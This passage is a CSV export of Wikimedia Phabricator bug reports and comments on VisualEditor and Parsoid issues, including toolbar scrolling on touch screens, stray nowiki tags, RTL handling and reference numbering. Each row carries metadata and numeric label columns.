end).",,,1579033369,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-5dek6g5wc736qamv43s5,task_subcomment,,True,c1,3,True,,,341,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,1,0,1,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+406221,Automatically switch from wikitext to HTML syntax in serializer when attributes were added to elements,"@esanders, @Catrope, @Jdforrester-WMF, Is this an use case that Parsoid should support in Q3 / Q4?",,,1422986235,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-5dek6g5wc736qamv43s5,task_subcomment,,True,c1,3,True,,,83,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0
+250472,Automatically switch from wikitext to HTML syntax in serializer when attributes were added to elements,"Timo indicated on IRC that lists and list items will be first, but other elements will follow. We should try to use this first case to develop the general infrastructure.
+
+We will need to convert an entire list to HTML syntax if an attribute is set on either the list or any list item.
+
+Mixed templated / non-templated list items are discussed in bug 53368. We protect the entire list if any list item's bullets are template-generated. That means that we (thankfully!) won't have to consider that case here.",,,1377818147,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-5dek6g5wc736qamv43s5,task_subcomment,,True,c1,3,True,,,8,,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+55550,"VisualEditor: Toolbar scrolling off the screen on longer articles, possibly due to touch-screen environment","MyOnlyEye says, ""When I write long articles in VisualEditor the whole screen scolls - and the VisualEditor toolbar is scrolling upward and out of the screen. If I want to make a headline or instert a picture I'll have to scroll up to the top to reach the toolbar. I've tried it in the lastest edition of Firefox and Chrome in Win8 - on my own mediawiki with visualeditor and Wikipedia and Mediawiki....On every page that is longer than the screen - e.g. http://en.wikipedia.org/wiki/Electron?veaction=edit
+I've tested a bit (after I wrote the feedback) and it seems to be OK on my Win7 and Linux-box (chrome and firefox, both in 64-bit), but it's not working on Win8 (32-bit). Both the lastest 32-bit edition of Chrome and Firefox have the ""scrolling error"" on my Acer W510 Win8-laptop in desktop-mode (and in tile-mode :-)....I tried the electron-article and updated my own wiki (with git pull on mediawiki developer and visualeditor). I tried it in Firefox and Chrome (latest 32-bits editions)....I've installed a virtualbox with Win8 (32-bit, same as my Acer W510) and ran some wiki-pages with visualeditor in Chrome. No problem with the toolbar. So there seems to be two options left - 1) it's the intel screen driver (Intel HD 9.14.3.1102) or 2) it's how the browsers behave in a touch screen environment. My W510 has touch screen, the virtualbox Win8 hasn't....
+I've tested it on another Win8-machine (ASUS VivoBook S400 14"" HD touch) with different hardware than Acer W510 _but_ with a touch screen - and... the toolbox/-bar scrolled out of the screen. So my guess is that this is something that happens when the browser knows that the user can scroll the webpage with the fingers.""
+
+It is apparently not quite the same as https://bugzilla.wikimedia.org/show_bug.cgi?id=52504
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1377802500,1519404026.0,PHID-USER-uf3buojo4ceizjywvyn5,True,PHID-USER-kve2ug5yc3dp6ighnmqk,False,PHID-TASK-nkghehcsjvmpig3dnbgm,task_description,invalid,True,c1,3,False,False,False,8,,1,1,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
+249507,"VisualEditor: Toolbar scrolling off the screen on longer articles, possibly due to touch-screen environment","**odin** wrote:
+
+Now working in the lastest Firefox v25.0 for Windows8. Still not working in latest Chrome.",,,1383167709,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-nkghehcsjvmpig3dnbgm,task_subcomment,,True,c1,3,False,,,17,,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0
+249498,"VisualEditor: Toolbar scrolling off the screen on longer articles, possibly due to touch-screen environment","**odin** wrote:
+
+Also confirmed in Android 4.3 (with default Chrome browser) on Asus Nexus 7 (2012).",,,1379099403,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-nkghehcsjvmpig3dnbgm,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+249489,"VisualEditor: Toolbar scrolling off the screen on longer articles, possibly due to touch-screen environment","**odin** wrote:
+
+I just testet the bug in Android 4.2.1 with Chrome (on a Samsung Galaxy S4) - and when I scroll, the toolbox moves out of the screen.",,,1379077160,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-nkghehcsjvmpig3dnbgm,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+249484,"VisualEditor: Toolbar scrolling off the screen on longer articles, possibly due to touch-screen environment",This sounds bad for our impending work for mobile. :-(,,,1377835053,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nkghehcsjvmpig3dnbgm,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+55548,VisualEditor: nowiki tags thrown right after a template,"I am filing a related common problem we meet at it.wp.
+
+We had troubles with nowikis being thrown right after some templates when the
+user did not add an extra space there, but simply edited something in that
+page. See
+https://it.wikipedia.org/w/index.php?title=Wikipedia&diff=61171396&oldid=61171228
+.
+
+We actually found a workaround for this:
+https://it.wikipedia.org/w/index.php?title=Template:Quote&curid=224372&diff=61173726&oldid=60749506
+but since this addition is apparently a nonsense, users demand that VE prevents
+that behaviour instead.
+
+They also think this is related to templates featuring some kind of table.
+
+I did some tests as well.
+I was able to reproduce an unwanted situation where the first line and the
+table (which is actually a template) were mingled in a non-editable block
+https://it.wikipedia.org/w/index.php?title=Utente%3AElitre_%28WMF%29%2FSandbox_VE&diff=61181542&oldid=61181524
+.
+
+But I was also able to avoid nowikis, even if the extra span tags were not
+added to the template: as you can see here
+https://it.wikipedia.org/w/index.php?title=Utente:Elitre_(WMF)/Sandbox_VE&diff=prev&oldid=61181473,
+if the first letter of the line is actually closer to the template's final
+brace (with no space between), VEditing that page will result in the text
+getting automatically placed in a better position, and no nowikis in sight,
+even after multiple saves of the page.
+
+Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1377800880,,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-qoahpa6ud2jrgv76kigv,task_description,open,True,c1,3,False,False,,8,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,1,1,1,1,0,1,1,0,1,1,1,1,1,0,1,0,1,0,0,1,1,1,1,1,0,1,0,0,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+249428,VisualEditor: nowiki tags thrown right after a template,"Related Parsoid behavior (this is serialization of new content):
+-----------------------
+[subbu@earth lib] echo ""<table><tbody><tr><td>foo</td></tr></tbody></table> a"" | node parse --html2wt
+{|
+|foo
+|}
+<nowiki> </nowiki>a
+-----------------------
+
+The following is for existing content in wikitext
+-----------------------
+[subbu@earth lib] echo ""{|\n|a\n|} a"" | node parse --wt2wt
+{|
+|a
+|} a
+-----------------------
+
+So, Parsoid does not split the line after the table if it is old content, but does if it is new content and can introduce a <nowiki>  Since the report states that happens no matter what is edited on the page, my suspicion is that the HTML has a newline break after the <table> added by VE.  Requires further investigation that I cannot do right now, but hope this is good for starters. Adding others who might have time to investigate.",,,1377802050,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-qoahpa6ud2jrgv76kigv,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+55544,VisualEditor: Added templates in RTL wikis should float in appropriate direction,"Templates that are inserted to a page in RTL appear first floating on the right side, then only after save and re-edit they appear correctly.
+
+Replicate:
+1. Go to hewiki (or any other rtl wiki)
+2. Add a template - for instance {{עליות}} which is supposed to be floated left - yet it is inserted floating right.
+3. Save the page. Edit it again -- the template floats in the correct direction.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1377798180,1701813764.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-77lwknbtryzjh4peqeh4,task_description,resolved,True,c1,3,False,False,False,8,,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+2242164,VisualEditor: Added templates in RTL wikis should float in appropriate direction,This is working for me. Feel free to re-open if this is still an issue.,,,1701813764,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-77lwknbtryzjh4peqeh4,task_subcomment,,True,c1,3,True,,,544,,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,1,1,0,0,0
+55503,"VisualEditor: RTL entries don't receive dir=""rtl"" in Page settings / Languages","**Author:** `p.selitskas`
+
+**Description:**
+Entries in Page settings / Languages don't have dir attributes for the link text. It leads to bidi issues for RTL languages.
+
+Reproducing:
+1. Go to an article with a langlink to Hebrew, for instance. Here's my favourite: [[en:August 3]].
+2. Open the VisualEditor.
+3. Go to Page settings / Languages and scroll down to 'he'.
+4. Link text reads as ""3 באוגוסט"", but it should read with ""3"" after Hebrew characters (reading left-to-right, of course; in the beginning of the string, if right-to-left).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1377728640,1377895476.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ozeftogat7b2642er6vn,task_description,resolved,True,c1,3,False,False,True,8,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+246708,"VisualEditor: RTL entries don't receive dir=""rtl"" in Page settings / Languages",Merged and will go out with wmf16 (from Thursday 5 September).,,,1377895476,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ozeftogat7b2642er6vn,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+246701,"VisualEditor: RTL entries don't receive dir=""rtl"" in Page settings / Languages","Change 81589 merged by jenkins-bot:
+VisualEditor: RTL entries don't receive dir=""rtl"" in Page settings / Languages
+
+https://gerrit.wikimedia.org/r/81589",,,1377887216,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ozeftogat7b2642er6vn,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+246694,"VisualEditor: RTL entries don't receive dir=""rtl"" in Page settings / Languages","Change 81589 had a related patch set uploaded by Wizardist:
+VisualEditor: RTL entries don't receive dir=""rtl"" in Page settings / Languages
+
+https://gerrit.wikimedia.org/r/81589",,,1377728877,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ozeftogat7b2642er6vn,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+55486,"VisualEditor: Numbering of references created inside templates/image captions re-uses existing numbers, doesn't continue","See numbers 49 and 50 in https://pl.wikipedia.org/w/index.php?title=Biurokracja&oldid=37367869 and https://pl.wikipedia.org/w/index.php?title=Biurokracja&oldid=37367869&veaction=edit
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51289
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52300",Medium,50.0,1377708300,1377823295.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-4zstjmvxiakrfapfim3n,task_description,resolved,True,c1,3,False,False,True,8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+245591,"VisualEditor: Numbering of references created inside templates/image captions re-uses existing numbers, doesn't continue","Actually, on review I'm pretty sure that this is a duplicate of bug 50474.
+
+*** This bug has been marked as a duplicate of bug 50474 ***",,,1377823295,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4zstjmvxiakrfapfim3n,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+245588,"VisualEditor: Numbering of references created inside templates/image captions re-uses existing numbers, doesn't continue",at en.wp user:KWW wonders if this is the same issue as bug 52300?,,,1377814639,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-4zstjmvxiakrfapfim3n,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+245584,"VisualEditor: Numbering of references created inside templates/image captions re-uses existing numbers, doesn't continue","Looking again, it seems this is not the same as the earlier bug. In that case the references from the infobox didn't appear in the reflist at all. Now it seems that it is just the numbering that is wrong. At [[Ptyhon (programming language)]] for example, there are 10 references in the infobox, so the first reference in the lead is numbered 11. 
+
+Looking at in VE though the first reference in the lead (TIOBE Software Index (2012)) is numbered 1. In the reference list though TIOBE Software Index (2012) is numbered as 11 and reference 1 is the first one from the infobox.",,,1377801805,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-4zstjmvxiakrfapfim3n,task_subcomment,,True,c1,3,False,,,8,,1,0,0,1,1,1,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,1,1,1,1,1,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,1
+245579,"VisualEditor: Numbering of references created inside templates/image captions re-uses existing numbers, doesn't continue","To clarify the first comment: if you look at the vedit view of the page I linked, you'll see that references 50 and 49 are both labelled ""49"". So, potentially we might be dealing with two distinct bugs here - renumbering because it's not factoring in different surfaces, and duplicate numbering.",,,1377796895,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-4zstjmvxiakrfapfim3n,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0
+245574,"VisualEditor: Numbering of references created inside templates/image captions re-uses existing numbers, doesn't continue",References in infobox not populating the main references list and not being counted sounds a lot like bug 51289 which was marked fixed at the start of the month,,,1377775105,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-4zstjmvxiakrfapfim3n,task_subcomment,,True,c1,3,False,,,8,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0
+245568,"VisualEditor: Numbering of references created inside templates/image captions re-uses existing numbers, doesn't continue","<< Entering Visual Editor mode renumbered the references on page Python_(programming_language) https://en.wikipedia.org/wiki/Python_(programming_language)?veaction=edit , so they don't match the references listed at the end of the article. Davipo 08:36, 29 August 2013 (UTC) >>
+It will ignore the numbers in the infobox, and start again from n.1 in the first line of the article - should be 11 instead. I find it just slightly confusing, since in the end you are still able to edit footnotes correctly. Thanks.",,,1377770276,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-4zstjmvxiakrfapfim3n,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+55469,VisualEditor: Transclusion editor should not allow parameters with unmet dependencies,"The transclusion editor should not allow (or at least should warn about) template parameters with unmet dependencies.
+
+For example in [[template:For]] parameter 4 has no effect unless parameter 3 is also specified, so the transclusion editor should not allow/warn about template 4 without an accompanying parameter 3. (parameter 3 is otherwise optional and can be present without parameter 4).
+
+In at least some cite templates, parameter author2 requires the existence of author1, etc. 
+
+I'm fairly sure that this functionality depends on bug 50407, which requests that TemplateData allows dependency relationships like this to be defined.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1377690300,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-f6pggcvz6dsrki4glrbf,task_description,open,True,c1,3,False,False,,8,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1
+55441,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","Redlinks right now always take you into wikitext editor, regardless of what editor is primary on your wiki.
+
+--------------------------
+**See Also**:
+{T54162}
+{T54281}",Medium,50.0,1377650040,1455641745.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_description,resolved,True,c1,3,True,True,False,8,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+613259,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",Makes sense. I'll do that.,,,1455819228,,PHID-USER-go2ym6ta2zn6ofdsrqnx,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,137,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+613163,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",">>! In T55441#2039758, @Johan wrote:
+> Something like this:
+> 
+> ""In the future, clicking a red link will open the page in your primary editor. Today it will open it the wikitext editor. This will only work for wikis with [[<tvar|set>mw:Special:MyLanguage/VisualEditor/Single edit tab</>|single edit tab]].""
+> 
+> (I know the change is happening now, but unless it actually affects editors because it only works for wikis with the single edit tab, it's still a future change for them.)
+
+The wording looks good. I'd push this to next week, and talk about how it will (then) be live on huwiki and people can see it there.",,,1455815567,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,True,,,137,,0,1,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,1
+613049,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","Something like this:
+
+""In the future, clicking a red link will open the page in your primary editor. Today it will open it the wikitext editor. This will only work for wikis with [[<tvar|set>mw:Special:MyLanguage/VisualEditor/Single edit tab</>|single edit tab]].""
+
+(I know the change is happening now, but unless it actually affects editors because it only works for wikis with the single edit tab, it's still a future change for them.)",,,1455809932,,PHID-USER-go2ym6ta2zn6ofdsrqnx,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,137,,0,1,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,1
+613048,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","Something like this:
+
+""In the future, clicking a red link will open the page in your primary editor. Today it will open it the wikitext editor. This will only work for wikis with [[<tvar|set>mw:Special:MyLanguage/VisualEditor/Single edit tab|single edit tab]].""
+
+(I know the change is happening now, but unless it actually affects editors because it only works for wikis with the single edit tab, it's still a future change for them.)",,,1455809914,,PHID-USER-go2ym6ta2zn6ofdsrqnx,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,137,,0,1,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,1
+612887,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","So does this affect any other wikis than the test wiki at the moment? Hungarian Wikipedia is supposed to get the single edit tab, but doesn't have it yet, right?",,,1455798338,,PHID-USER-go2ym6ta2zn6ofdsrqnx,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,137,,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+611488,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",(Only fixed for Single Edit Tab wikis.),,,1455651854,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,True,,,137,,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+490476,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",">>! In T55441#1446269, @matmarex wrote:
+>>>! In T55441#1446171, @Ricordisamoa wrote:
+>>>>! In T55441#1446154, @Krenair wrote:
+>>> We'd like to have a single edit tab where the user can chose between VE and a wikitext source editor
+>> 
+>> https://meta.wikimedia.org/wiki/Wikiafication
+> 
+> This comment is at best unfair and at worst willful ignorance or trolling. Being able to switch between editors while editing has been requested repeatedly, and using the action=edit view for editors is the obvious choice, already made by others such as CodeEditor. It is the most obvious, most intuitive and best way to present two or more editors
+
+It proves that the essay is biased and Wikiafication can be good sometimes.",,,1436623626,,PHID-USER-je4a7kqdfgacwkyhtg4c,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,105,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1
